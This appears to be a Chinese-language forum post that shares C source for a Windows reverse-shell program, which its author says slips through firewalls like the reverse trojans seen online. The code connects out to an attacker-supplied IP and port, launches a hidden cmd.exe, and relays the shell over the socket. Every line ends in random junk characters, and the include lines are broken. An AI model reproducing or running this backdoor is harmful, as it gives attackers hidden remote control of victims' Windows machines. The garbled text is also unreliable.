这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O<ybiPR
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/* ============================== 2H`>Kj
Rebound port in Windows NT 3d,:,f|h
By wind,2006/7 #hk5z;J5
===============================*/ Xq<_r^
#include FlUO3rc|
#include m/;fY>}3
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#pragma comment(lib,"wsock32.lib") ;rNX
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void OutputShell(); qJ .XI
SOCKET sClient; nB0KDt_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5"(FilM
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void main(int argc,char **argv) Q#*R({)GH
{ Z>l<.T"t'
WSADATA stWsaData; RS#C4NG
int nRet; 3sW!ya-VZ
SOCKADDR_IN stSaiClient,stSaiServer; c]i;0j? Dl
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if(argc != 3) Vol}wc
{ !}5rd\
printf("Useage:\n\rRebound DestIP DestPort\n"); yb)qg]2
return; i g
.
} Ps<k 2
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4eF{Y^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D6"d\Fm<
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stSaiClient.sin_family = AF_INET; L}'^FqO[IW
stSaiClient.sin_port = htons(0); B79~-,Yh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KXpbee
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $My~sN8
{ t*dq*(3"c
printf("Bind Socket Failed!\n"); PS=q):R|
return; rQJ\Y3.
} f0R+Mz8{
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stSaiServer.sin_family = AF_INET; S<-5<Pg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Mvp|S.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jc\y{ I\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X?;iSekI4
{ C\OZs%]At
printf("Connect Error!"); %|1s9?h7\
return; id" l"
} M%RH4%NZ0
OutputShell(); &pR 8sySu
} TAqX
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#?,"/Btq
void OutputShell() 8EX?/33$
{ #sk~L21A
char szBuff[1024]; l;&kX6 w
SECURITY_ATTRIBUTES stSecurityAttributes; =''b `T$
OSVERSIONINFO stOsversionInfo; {oR@'^N
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JIHIKH-#
STARTUPINFO stStartupInfo; / {[p?7x>
char *szShell; d0&
PROCESS_INFORMATION stProcessInformation; FMhuCl2
unsigned long lBytesRead; ^FVmP d*1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MJCz %zK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `%EcQ}Nr
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; p )]x,F
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r .
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xI/8[JW*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'KT(;Vof
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _OS,zZ0
stStartupInfo.wShowWindow = SW_HIDE; [7g-M/jvY
stStartupInfo.hStdInput = hReadPipe; EJQT\c
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SJlE!MK
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GetVersionEx(&stOsversionInfo); %Pj}
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switch(stOsversionInfo.dwPlatformId) [tElt4uG
{ ^]~!:Ej0
case 1: x8~*+ j
szShell = "command.com"; k g Rys
break; i[ws%GfEv
default: Zm7,O8
szShell = "cmd.exe"; Cud!JpL
break; NV@$\<
} m6]6!_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '5~l{3Lw
b`,Sd.2=('
send(sClient,szMsg,77,0); '
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while(1) {^^LeUd#V
{ !(viXV5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zMBGpqdP
if(lBytesRead) M)AvcZNs
{ N
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Zy8tI#
send(sClient,szBuff,lBytesRead,0); 5zkj;?s
} b&
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else bd% M.,
{ -5|el3%)
lBytesRead=recv(sClient,szBuff,1024,0); %6m' |(-
if(lBytesRead<=0) break; KrHKM 3<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9zrTf%mF
} [!8bjc]c
} 81!;W t(?
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return; <RY!Mc
}